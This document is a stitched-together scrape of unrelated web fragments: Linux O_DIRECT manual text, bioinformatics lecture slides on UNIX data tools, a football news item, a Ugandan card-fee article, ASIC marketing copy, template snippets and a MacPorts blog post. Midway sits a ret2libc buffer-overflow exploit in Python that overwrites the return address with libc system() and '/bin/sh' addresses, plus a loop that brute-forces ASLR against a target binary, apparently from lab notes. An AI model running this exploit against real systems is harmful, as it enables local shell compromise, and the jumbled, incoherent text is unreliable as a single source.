O_DIRECT support was added under Linux in kernel version 2.4.10. Older Linux kernels simply ignore this flag. Some filesystems may not implement the flag and open() will fail with EINVAL if it is used.
Applications should avoid mixing O_DIRECT and normal I/O to the same file, and especially to overlapping byte regions in the same file. Even when the filesystem correctly handles the coherency issues in this situation, overall I/O throughput is likely to be slower than using either mode alone. Likewise, applications should avoid mixing mmap(2) of files with direct I/O to the same files.
The behavior of O_DIRECT with NFS will differ from local filesystems. Older kernels, or kernels configured in certain ways, may not support this combination. The NFS protocol does not support passing the flag to the server, so O_DIRECT I/O will bypass the page cache only on the client; the server may still cache the I/O. The client asks the server to make the I/O synchronous to preserve the synchronous semantics of O_DIRECT. Some servers will perform poorly under these circumstances, especially if the I/O size is small. Some servers may also be configured to lie to clients about the I/O having reached stable storage; this will avoid the performance penalty at some risk to data integrity in the event of server power failure. The Linux NFS client places no alignment restrictions on O_DIRECT I/O.
In summary, O_DIRECT is a potentially powerful tool that should be used with caution. It is recommended that applications treat use of O_DIRECT as a performance option which is disabled by default.
One must check for two different error codes, EISDIR and ENOENT, when trying to determine whether the kernel supports O_TMPFILE functionality.


This tool will generate passwords based on sets of rules provided inside password.js
Customise the rules, add callbacks and reload this page to define your own
By default the generator will create a password that contains 12 letters/numbers of varying case, it then adds 4 special characters. The 16 character string is then shuffled.


Pick a pool fighter by ranking
Pick the winner or loser of another elimination fight
Pick a specific participant


These are things the worker has to buy to complete this specific engagement because they aren't provided by the end client.
They don't include expenses incurred by being based away from home for the engagement.
Select all that apply


class: center, middle # UNIX Data Tools ## Buffalo Chapter 7 ??? Notes for the _first_ slide! --- # Overview ## In Chapter 3 we learned the basic operations within the Unix shell: * standard out and standard error streams of data * how to redirect our data streams * how to efficiently run a series of commands using pipes * how to manage command processes ## Here, we'll learn a number of UNIX tools that will allow us to inspect and process data --- ## Inspecting a data file for the first time: `head` * Use the `cd` command to navigate into the `chapter-07-unix-data-tools` folder in the Buffalo online resources * We can inspect a file by using the `cat` command to print its contents to the screen: ``` $ cat Mus_musculus.GRCm38.75_chr1.bed ``` * That's a little unwieldly...perhaps we just want to see the first few lines of a file to see how it's formatted. Let's try: ``` $ head Mus_musculus.GRCm38.75_chr1.bed ``` * If we want to see less or more of a given file, we can specify the number of lines using the `-n` option: ``` $ head -n 3 Mus_musculus.GRCm38.75_chr1.bed ``` --- ## Inspecting a data file for the first time: `tail` * Similar to `head`, you can use the `tail` command to inspect the end of a file: ``` $ tail -n 3 Mus_musculus.GRCm38.75_chr1.bed ``` * `tail` can also be useful for removing the header of a file; this is particularly useful when concatenating files for an analysis: ``` $ tail -n +2 genotypes.txt ``` * And here's a handy trick for inspecting both the head and tail of a file simultaneously: ``` $ (head -n 2; tail -n 2) < Mus_musculus.GRCm38.75_chr1.bed 1 3054233 3054733 1 3054233 3054733 1 195240910 195241007 1 195240910 195241007 ``` --- ## Additional uses of `head` * We can also use `head` to inspect the first bit of output of a UNIX pipeline: ``` $ grep 'gene_id "ENSMUSG00000025907"' Mus_musculus.GRCm38.75_chr1.gtf | head -n 1 ``` * When including head at the end of a complex UNIX pipeline, the pipeline will only run until it produces the number of lines dictated by `head` * Why is this important or useful? This dummy pipeline may help: ``` $ grep "some_string" huge_file.txt | program1 | program2 | head -n 5 ``` --- ## Inspecting files and pipes using `less` * `less` is what is known as a "terminal pager"; it allows us to view large amounts of text in our terminal * Whereas with `cat` the contents of our file flash before our eyes, with `less` we can view and scroll through the file's contents * Let's observe the difference between `cat` and `less` using a file from the Buffalo Chapter 7 materials: Try: ``` $ cat contaminated.fastq ``` Then try: ``` $ less contaminated.fastq ``` * While viewing the file in `less` try navigating with the space bar and the `b`, `j`, `k`, `g`, and `G` keys. To exit the file, press `q` --- ## Using `less` to highlight text matches and check pipes * Highlighting text matches can allow us to search for potential problems in data * For example, imagine we download useful Illumina data from another study and it's not clear from the documentation whether adapter sequence has been trimmed * We can search for a known 3' adapter sequence using `less`: ``` $ less contaminated.fastq # then press / and enter AGATCGG ``` * `less` can also be used to check the individual components of a pipe under construction: ``` $ step1 input.txt | less $ step1 input.txt | step2 | less $ step1 input.txt | step2 | step3 | less ``` * The commands will only run until a page of your terminal is full, limiting computation time --- ## Inspecting files using the `wc` command * The default of `wc` is to provide the number of lines, words, and bytes (characters) in a file: ``` $ wc Mus_musculus.GRCm38.75_chr1.bed Mus_musculus.GRCm38.75_chr1.gtf ``` * Each line of data entry in the .bed file should correspond to a single line of data entry in the .gtf file. Notice any problems? * Using `head`, see if you can inspect the two files and resolve this issue * The discrepancy in the line numbers, may have been more clear had we only inspected the number of lines: ``` $ wc -l Mus_musculus.GRCm38.75_chr1.bed Mus_musculus.GRCm38.75_chr1.gtf ``` --- ## Inspecting file size using the `ls` and `du` commands * Before downloading or moving or running an analysis on a file, it is useful to know the file size * There are a few ways we can extract this information * First, we can use our old friend, the `ls` command with the `-l` and `-h` options: ``` $ ls -lh Mus_musculus.GRCm38.75_chr1.bed ``` * Or we can use the `du` command, also with the `-h`, or "human readable" option: ``` $ du -h Mus_musculus.GRCm38.75_chr1.bed ``` * Personally, I prefer the less verbose format of `du`, particularly when inspecting a large number of files --- ## Inspecting the number of columns in a file with `awk` * Another useful piece of information we may want to know about a file is its number of columns * We could find this by visually inspecting the first line of the file, but this opens us up to human error: ``` $ head -n 1 Mus_musculus.GRCm38.75_chr1.bed ``` * A better solution is to have our computers count the columns for us using an `awk` one-liner: ``` $ awk -F "\t" '{print NF; exit}' Mus_musculus.GRCm38.75_chr1.bed ``` * `awk` is a bit different than some of the basic UNIX commands we've been learning...it is actually a simple programming language in itself...we'll come back to it in more depth later --- ## Number of columns in files with headers * Our handy `awk` script works well for the `Mus_musculus.GRCm38.75_chr1.bed` file, but what about for the `Mus_musculus.GRCm38.75_chr1.gtf file`? * We can get around this issue by employing the `tail` command we learned earlier: ``` $ tail -n +6 Mus_musculus.GRCm38.75_chr1.gtf | awk -F "\t" '{print NF; exit}' ``` * In the Buffalo book, this one-liner outputs that there are 16 columns...is this what you get? * Thinking back to the first few chapters in Buffalo and our discussion regarding "robust" and "reproducible" code, why might this be considered a "brittle" solution? * Can you think of a more robust solution? ``` $ grep -v "^#" Mus_musculus.GRCm38.75_chr1.gtf | awk -F "\t" '{print NF; exit}' ``` * How might this be a brittle solution? --- ## Using the `cut` command to extract specific columns * On occasion, we will want to extract a subset of specific information from a file * The `cut` command assumes tab delimitation and allows us to extract specific columns of a tab-delimited file * For example, say we wanted just the start positions of the windows in our .bed file: ``` $ cut -f 2 Mus_musculus.GRCm38.75_chr1.bed | head -n 3 ``` --- ## Using the `cut` command to extract specific columns * The `-f` option allows us to specify columns in ranges (e.g., `-f 3-8`) and sets (e.g., `-f 1,3,5`) but **_DOES NOT_** allow us to order columns (e.g., `-f 7,3,1`) * For example, we can extract chromosome, start site, and end site from our .gtf file by first removing the header and then cutting out the first, fourth, and fifth columns: ``` $ grep -v "^#" Mus_musculus.GRCm38.75_chr1.gtf | cut -f 1,4,5 | head -n 5 ``` * We can also specify the delimiter in differently formatted files like .csv: ``` $ cut -d "," -f 2,3 Mus_musculus.GRCm38.75_chr1_bed.csv | head -n 3 ``` --- ## Tidying things up with `column` * Often times, when we inspect a tab-delimited file with `head`, the results are fairly messy: ``` $ grep -v "^#" Mus_musculus.GRCm38.75_chr1.gtf | cut -f1-8 | head -n3 ``` * This can make it difficult to understand file contents * Fortunately, there's a UNIX program/option combination to tidy things up: `column -t` ``` $ grep -v "^#" Mus_musculus.GRCm38.75_chr1.gtf | cut -f 1-8 | column -t \ | head -n 3 ``` * `column` should only be used for file inspection in the terminal, redirecting its standard out to a file will introduce variable numbers of spaces which could cause problems in downstream analysis * `column` can also be used with files with other delimiting characters: ``` $ column -s "," -t Mus_musculus.GRCm38.75_chr1_bed.csv | head -n 3 ``` --- ## `grep`: one of the most powerful UNIX tools * Thus far we've only scratched the surface of the utility of `grep` * In addition to being useful, `grep` is _fast_
--- ## `grep`: one of the most powerful UNIX tools * The program `grep` requires a _pattern_ to search for and a _file_ to search through: ``` $ grep "Olfr418-ps1" Mus_musculus.GRCm38.75_chr1_genes.txt ``` * Quotes around the pattern prevent our shell from trying to interpret symbols in the pattern * `grep` will also return partial matches: ``` $ grep Olfr Mus_musculus.GRCm38.75_chr1_genes.txt | head -n 5 ``` * If a partial match is not desired, we can prevent this using the `-w` option which matches entire words * For example, in the `example.txt` file we want to match everything but "bioinfo": ``` $ cat example.txt $ grep -v "bioinfo" example.txt $ grep -v -w "bioinfo" example.txt ``` --- ## `grep`: one of the most powerful UNIX tools * General `grep` rule: always be as restrictive as possible to avoid unintentional matches * If the matching line itself does not provide enough context, the `-B` and `-A` options can be helpful: ``` $ grep -B1 "AGATCGG" contam.fastq | head -n 6 $ grep -A2 "AGATCGG" contam.fastq | head -n 6 ``` * `grep` search patterns can also be made more flexible and powerful with _Basic Regular Expressions_ (BRE) and _Extended Regular Expressions_ (ERE) * An example of a BRE: ``` $ grep "Olfr141[13]" Mus_musculus.GRCm38.75_chr1_genes.txt ``` * An example of an ERE: ``` $ grep -E "(Olfr218|Olfr1416)" Mus_musculus.GRCm38.75_chr1_genes.txt ``` --- ## Additional `grep` uses with various options * Say we're interested in the number of small nuclear RNAs in our set of genes: ``` $ grep -c 'gene_biotype "snRNA"' Mus_musculus.GRCm38.75_chr1.gtf ``` * Or perhaps we only want `grep` to extract the word matches to our search pattern, not the entire line: ``` $ grep -o "Olfr.*" Mus_musculus.GRCm38.75_chr1_genes.txt | head -n 3 ``` --- ## Identification of non-ASCII files and characters * In bioinformatics, many programs will assume that our input text files are encoded in ASCII * Occasionally, often due to human manipulation of data files, our data can include include an invisible non-ASCII character that throws our program for a loop * To easily determine whether a given file is encoded in something other than ASCII, the `file` command can be quite useful: ``` $ file Mus_musculus.GRCm38.75_chr1.bed Mus_musculus.GRCm38.75_chr1.gtf $ file improper.fa ``` --- ## Illustrating the trouble a non-ASCII character can cause * To show how non-ASCII characters can cause problems, we'll install the program `bioawk` from github * If you're working on hpc-class: ``` module load bioawk ``` * If you're working on a directory on your own machine: ``` $ git clone git://github.com/lh3/bioawk.git $ cd bioawk $ make $ sudo cp bioawk /usr/local/bin/ ``` * Or if you've installed `Homebrew`: ``` $ brew tap homebrew/science $ brew install bioawk ``` --- ## Illustrating the trouble a non-ASCII character can cause * Now let's apply the following `bioawk` one-liner which should produce the reverse complement of our sequences: ``` $ bioawk -cfastx '{print revcomp($seq)}' improper.fa ``` * Shoot...`bioawk` choked on our second sequence...non-ASCII character!!
 Some operations are more efficient when working on sorted data 2. In order to find unique lines, we must first have sorted data * First, let's sort the `example.bed` file without options to see if we can figure out how the default program works: ``` $ sort example.bed ``` * Options allow us to sort by specific columns in various orders and to tell `sort` that our data are numeric rather than alpha-numeric: ``` $ sort -k1,1 -k2,2n example.bed ``` * Now see if you can figure out how to sort the `Mus_musculus.GRCm38.75_chr1_random.gtf` file, first by chromosome, then by window start site --- ## Additional features of `sort` * Since sorting very large files can be computationally intensive, we may want to check whether a file is already sorted first using the `-c` option: ``` $ sort -k1,1 -k2,2n -c example.bed $ echo $? $ sort -k1,1 -k2,2n example.bed > example_sorted.bed $ sort -k1,1 -k2,2n -c example_sorted.bed $ echo $? ``` * We can also sort files in reverse order using the `-r` option: ``` $ sort -k1,1 -k2,2n -r example.bed ``` * But how is this sorting? * Can you think of a way to sort in reverse order based on both columns 1 and 2? * What if we want to sort in forward order by column 1 and reverse order by column 2? --- ## Advanced sorting options in GNU * The `-V` option can recognize numbers inside of strings...how might this be useful? * Inspect the entire `example2.bed` file: ``` $ cat example2.bed ``` * Why might we want to recognize numbers within a string here? ``` $ sort -k1,1 -k2,2n example2.bed $ sort -k1,1V -k2,2n example2.bed ``` * In the event that you want to sort a truly enormous file, there are modifications to `sort` that can be applied to allocate more memory to the program: ``` $ sort -k1,1 -k4,4n -S2G Mus_musculus.GRCm38.75_chr1_random.gtf $ sort -k1,1 -k4,4n --parallel 4 Mus_musculus.GRCm38.75_chr1_random.gtf ``` --- ## Finding unique values using the program `uniq` * After first inspecting the entire `letters.txt` file, run the `uniq` program on this file and see if you can understand how this program works ``` $ cat letters.txt $ uniq letters.txt ``` * What do we need to do to get a truly unique list of letters? ``` $ sort letters.txt | uniq ``` * And what if we want unique values but still want want a count of each letter? ``` $ sort letters.txt | uniq -c ``` * And if you're still not convinced that this could be useful, try this: ``` $ grep -v "^#" Mus_musculus.GRCm38.75_chr1.gtf | cut -f3 | sort | uniq -c ``` --- ## Finding unique values using the program `uniq` * The `uniq` output can also be sorted based on entry counts by piping to `sort` and using the `-n` option: ``` $ grep -v "^#" Mus_musculus.GRCm38.75_chr1.gtf | cut -f3 | sort | uniq -c | \ sort -n ``` * What if you wanted these listed from most to least common in the file? * We can also use the combination of `sort` and `uniq` to gather information from multiple columns in a file: ``` $ grep -v "^#" Mus_musculus.GRCm38.75_chr1.gtf | cut -f3,7 | sort | uniq -c ``` * Or we can use these programs to process and inspect a subset of data from a file...for example, all the features associated with a particular gene: ``` $ grep "ENSMUSG00000033793" Mus_musculus.GRCm38.75_chr1.gtf | cut -f3 | sort \ | uniq -c ``` --- ## Merging the contents of two files with the program `join` * The contents of two files can be merged by joining the files based on a common column * In the following two files, what would be the common column to use for a join? ``` $ cat example.bed $ cat example_lengths.txt ``` * In order to complete the join, we must first sort _both_ files on the common column ``` $ sort -k1,1 example.bed > example_sorted.bed $ sort -c -k1,1 example_lengths.txt ``` * Let's talk through the following syntax to make sure it's clear: ``` $ join -1 1 -2 1 example_sorted.bed example_lengths.txt > example_with_lengths.txt ``` --- ## Merging the contents of two files with the program `join` * Let's also look at the number of lines in our files to see if the join was complete: ``` $ wc -l example_sorted.bed example_lengths.txt example_with_lengths.txt ``` * Now let's see what happens when there is not complete overlap in our common columns: ``` $ head -n2 example_lengths.txt > example_lengths_alt.txt $ join -1 1 -2 1 example_sorted.bed example_lengths_alt.txt $ join -1 1 -2 1 example_sorted.bed example_lengths_alt.txt | wc -l ``` * Because chr3 is absent from the `example_lengths_alt.txt` file, it is omitted entirely from the join * The GNU `join` option `-a` allows us to include these "unpairable" lines in our output file: ``` $ join -1 1 -2 1 -a 1 example_sorted.bed example_lengths_alt.txt ``` --- ## Processing data with the `awk` programming language * Unlike the UNIX programs we've been learning, `awk` is a full-fledged programming language * `awk` is simpler then `python` and not built for complicated tasks, but it's great for quick data-processing tasks * To learn `awk` we must understand how it: 1. Processes records 2. Uses pattern-action pairs * `Awk` processes data a record at a time and records are composed of fields * `Awk` assigns the entire record to variable `$0`, field 1 to `$1`, field 2 to `$2`, etc... * In pattern-action pairs, `awk` first tries to match a specified pattern in a record or field and, if this is successful, the specified action is carried out --- ## Processing data with the `awk` programming language * We can mimic the `cat` program with `awk` by omitting the pattern component of a pattern-action pair: ``` $ awk '{ print $0 }' example.bed ``` * Similarly, we can also mimic `cut`: ``` $ awk '{ print $2 "\t" $3 }' example.bed ``` * Standard arithmetic operators (+, -, *, /, etc...) can be used in the pattern component of pattern-action pairs * For example, here our pattern is matching .bed file features that are at least 18bp long and the implicit action is to print matches to standard out: ``` $ awk '$3 - $2 > 18' example.bed ``` --- ## Processing data with the `awk` programming language * We can also link patterns in a chain to apply multiple conditions in our pattern using the `&&` (AND), `||` (OR), and `!` (NOT) operators * For example, if we want the .bed features that are on chromosome 1 AND at least 10bp long: ``` $ awk '$1 ~ /chr1/ && $3 - $2 > 10' example.bed ``` * We can also include more explicit actions than just printing an entire record to standard out: ``` $ awk '$1 ~ /chr2|chr3/ { print $0 "\t" $3 - $2 }' example.bed ``` --- ## Additional functionality of the `awk` programming language * The pattern-process `awk` tools we have learned thus far are very useful for processing files, but `awk` has many more useful tools * The `BEGIN` and `END` commands can allow us to initialize variables before implementing our pattern-process across records (`BEGIN`) and use this variable afterwards (`END`): ``` $ awk 'BEGIN{ s = 0 }; { s += ($3-$2) }; END{ print "mean: " s/NR };' example.bed ``` * Here we initialize the variable `s` and increment (`+=`) this variable by the length of each feature across all records and then divide this by `NR`...what is `NR`? * `NR` can also be used to extract intermediate records (i.e., lines) in a file (the same process we discussed using `head` and `tail` in a pipe): ``` $ awk 'NR >= 3 && NR <= 5' example.bed ``` --- ## Additional functionality of the `awk` programming language * `awk` can also be used to convert a .gtf file into a .bed file: ``` $ awk '!/^#/ { print $1 "\t" $4-1 "\t" $5 }' Mus_musculus.GRCm38.75_chr1.gtf | \ head -n 3 ``` * Note that the start site of features in the .bed file is 1 less than the start site of features in the .gtf file: .bed uses 0-indexing and .gtf uses 1-indexing * Associative arrays (similar to `Python` dictionaries) can also be very useful in `awk`: ``` $ awk '/Lypla1/ { feature[$3] += 1}; \ END { for (k in feature) \ print k "\t" feature[k] }' Mus_musculus.GRCm38.75_chr1.gtf ``` * Could this also be done with basic UNIX commands? --- ## `bioawk`: `awk` functionality more tailored to bioinformatics * `bioawk` is similar to `awk` but it can recognize common bioinformatics file formats (e.g., .bed, .sam, .vcf, .gff, .fastx) and includes useful programs for bioinformatics ``` $ bioawk -c gff '$feature ~ /gene/ && $source ~ /protein_coding/ \ {print $seqname,$end-$start}' Mus_musculus.GRCm38.75_chr1.gtf | head -n 4 ``` * You could also use `bioawk` to convert a `fastq` into a `fasta` file: ``` $ bioawk -c fastx '{print ">"$name"\n"$seq}' contam.fastq | head -n 4 ``` * Or to print the number of sequences in a `fastq/fasta` file, something you couldn't do with `wc`: ``` $ bioawk -c fastx 'END{print NR}' contam.fastq ``` --- ## `bioawk`: `awk` functionality more tailored to bioinformatics * Finally, the option `-c hdr` can be very useful as it sets the field variables to the names given in a file header * For example, take another look at the `genotypes.txt` file: ``` $ head -n 4 genotypes.txt ``` * Let's use the `-c hdr` option to find the markers where ind_A and ind_B have the same genotype: ``` $ bioawk -c hdr '$ind_A == $ind_B {print $id}' genotypes.txt ``` --- ## Using the `sed` program to edit text in a stream * In addition to many other functions, we can use `sed` to make simple "find and replace" edits to our files: ``` $ head -n 3 chroms.txt $ sed 's/chrom/chr/' chroms.txt | head -n 3 ``` * If this file were many Gb in size, this stream editing would be much, much faster than opening the file and doing a find and replace in a text editor * The above syntax only substitutes the first occurence of "chrom" on a line, to do this across all "chrom" values we'd need to use the global option of `sed`: ``` $ sed 's/chrom/chr/g' chroms.txt ```


Gabriel Jesus has discussed Mo Salah’s ‘quality’ while away with Brazil
by Biscan's BootsGabriel Jesus has spoken nicely about Liverpool’s superstar Mo Salah while away on international with Brazil.
El Selecao play South Korea in Abu Dhabi today for a meaningless friendly that has required nearly all its players to travel thousands of miles in order to compete.
Alisson, Fabinho and Roberto Firmino could all feature, with Manchester City ace Jesus also likely to play from the outset.
His words in the prelude though have been about our no.11 and not Bobby, his Brazil team-mate.
“Salah has showed his quality in the last two seasons, he has scored a lot. I don’t train with him, but I know he is quality,” he told the National, a UAE publication.
The Egyptian has somehow been the subject of some criticism this season, despite his numbers being as brilliant as ever.
His registered nine goals and five assists in 15 matches for Liverpool in 2019/20, which is basically one goal contribution every game played…
Salah’s standards are so mindbogglingly high, that fans think this can somehow be improved upon – bearing in mind he’s not a striker – but a right winger!
We just hope Salah is fit for the Crystal Palace tie on Saturday… The attacker is currently trying to get his fitness back following a recurrence of an ankle issue picked up in our 3-1 win over Manchester City last time out.


This example below uses python struct. This is different if using pwn tools for python.
Version 1
-------------------------------------------------------------------------------------------
python code for RET2LIBC version 1 (no ASLR):
import struct
system_addr = struct.pack("<I",0xb7e55310) #address of system in libc, while debugging target program, 'p system'
exit_addr = struct.pack("<I",0xd3adc0d3) #can choose to point to something, while debugging target program, 'p exit' for example (0xb7e48260)
arg_addr = struct.pack("<I",0xb7f7584c)
buf = "A" * 112
#buf += struct.pack("<I",0xd3adc0d3) # the "< I" is for little endian (it's an i) (d3adc0d3 is leet for deadcode)
# this is only for ensuring we are overwriting correct EIP and not needed afterward
buf += system_addr
buf += exit_addr
buf += arg_addr
-------------------------------------------------------------------------------------------
Version 2 updates
-------------------------------------------------------------------------------------------
python code for RET2LIBC version 2 (with ASLR bruteforce):
from subprocess import call # to call victim program
import struct
libc_base_addr = 0xb75e000 #obtained from random pick of ldd results- #this is within the range of addresses we identified
system_offset = 0x00040310 #obtained from `readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system`
exit_offset = 0x00033260 #doesn't "really" matter though, obtained from `readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit`
arg_offset = 0x00162bac #first bytes padded. /bin/sh, obtained from `strings -a -t -x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh`
system_addr = struct.pack("<I",libc_base_addr+system_offset) #address of system in libc+off, will 'eventually' hit this address
exit_addr = struct.pack("<I",libc_base_addr+exit_offset) #address of libc+exit off
arg_addr = struct.pack("<I",libc_base_addr+arg_offset) #address of libc+arg off
buf = "A" * 112
buf += system_addr
buf += exit_addr
buf += arg_addr
i = 0
while (i < 512):
print "Try: %s" % i
i += 1
ret = call(["/usr/local/bin/ovrflw", buf])
-------------------------------------------------------------------------------------------
Now, we can call this program 500ish times or more until we are successful


Select the fields to be included in the output file. You can also drag and drop the fields to your preferred order.
{% extends "admin/base_site.html" %} {% load i18n admin_urls static %} {% block breadcrumbs %}
{% endblock %} {% block content %}Select the fields to be included in the output file. You can also drag and drop the fields to your preferred order.


BoU makes it illegal for merchants to charge extra fees on Visa cards at shops
by David OkwiiEver been to a checkout counter at supermarket, hospital, Hotel, Gym only to be asked additional charges on your debit card? Well, that’s happened to me several times. I’ve been asked additional Ugx 2,500-5,000 in additional to my medical bill at a dental clinic once.
Now Bank of Uganda(BoU) has prohibited all merchants (Shops, retail outlets, all businesses in trade) from levying surcharges and imposing minimum transaction fees to customers using their debit or credit cards to pay for goods through a Point of Sale (PoS)/ Card machine.
When I spoke to Stanbic customer care, she confirmed that users are not supposed to be charged as per Bank of Uganda regulations. The bank instead transfers the transactions fees to the merchant.
So next time you want to pay for something, you just might save using your ATM/Debit card at the PoS directly instead of walking to the ATM machine where you’ll be charged withdrawal fees before you get the cash out.
If you wish to use mobile money, MTN MoMoPay doesn’t charge you extra transaction fees at the counter at least at all Shoprite outlets in Uganda.


We utilize this portfolio of via reconfigurable tile IP (circuits, fabric and software) to rapidly assemble ASICs for your application.
Your ASIC will be an optimum mixture of existing Triad tile IP and new full-custom IP to satisfy the performance and cost targets of your program. Where possible we reuse proven tile IP to satisfy your requirements. This approach frees us to focus our design creativity and verification efforts on the most critical portions of your design that will have the greatest impact on differentiating your product in the market. This approach to ASIC design is fast, safe and highly profitable for our partners.


Summary
Amount due is cost per employee per year <{{paymentStructure ? paymentStructure.TOTAL_AMOUNT : 0}}> * number of employees <{{paymentModel ? paymentModel.NoOfEmployees : 0}}> + taxes. In case of monthly payments - <{{ paymentStructure ? paymentStructure.COST_PER_MONTH : 0}}> per month is payable on 1st of each month
Amount payable is cost per year, after discount, <{{paymentStructure ? paymentStructure.TOTAL_AMOUNT : 0}}> + taxes


1 FSN = $2.11
-x.xx%
ICO Price
Last Price in ETH
Growth
Marketcap
CMC
Circulating Supply
CMC Circulating Supply
Total Supply
CMC Total Supply


---
layout: post
title: Macports oddness when installing software
tags:
- Mac
status: publish
type: post
published: true
meta: {}
---
(updated March 2008)
I was using Macports to install GNUCash on my Macbook and hit a small road block which may be useful to share:
Halfway through install of glib2 my connection dropped out and the install barphed. Every time I restarted it it complained about the checksum being invalid for that package. After a lot of messing around the following two commands seemed to do the trick
sudo port clean --all glib2


---
layout: archive
title: Lean Prover Zulip Chat Archive
permalink: 113489newmembers/94871casesonmutuallyrecursivetypes.html
---
The archive URL format has changed. Please find this page at:
https://leanprover-community.github.io/archive/stream/113489-new-members/topic/cases.20on.20mutually.20recursive.20types.html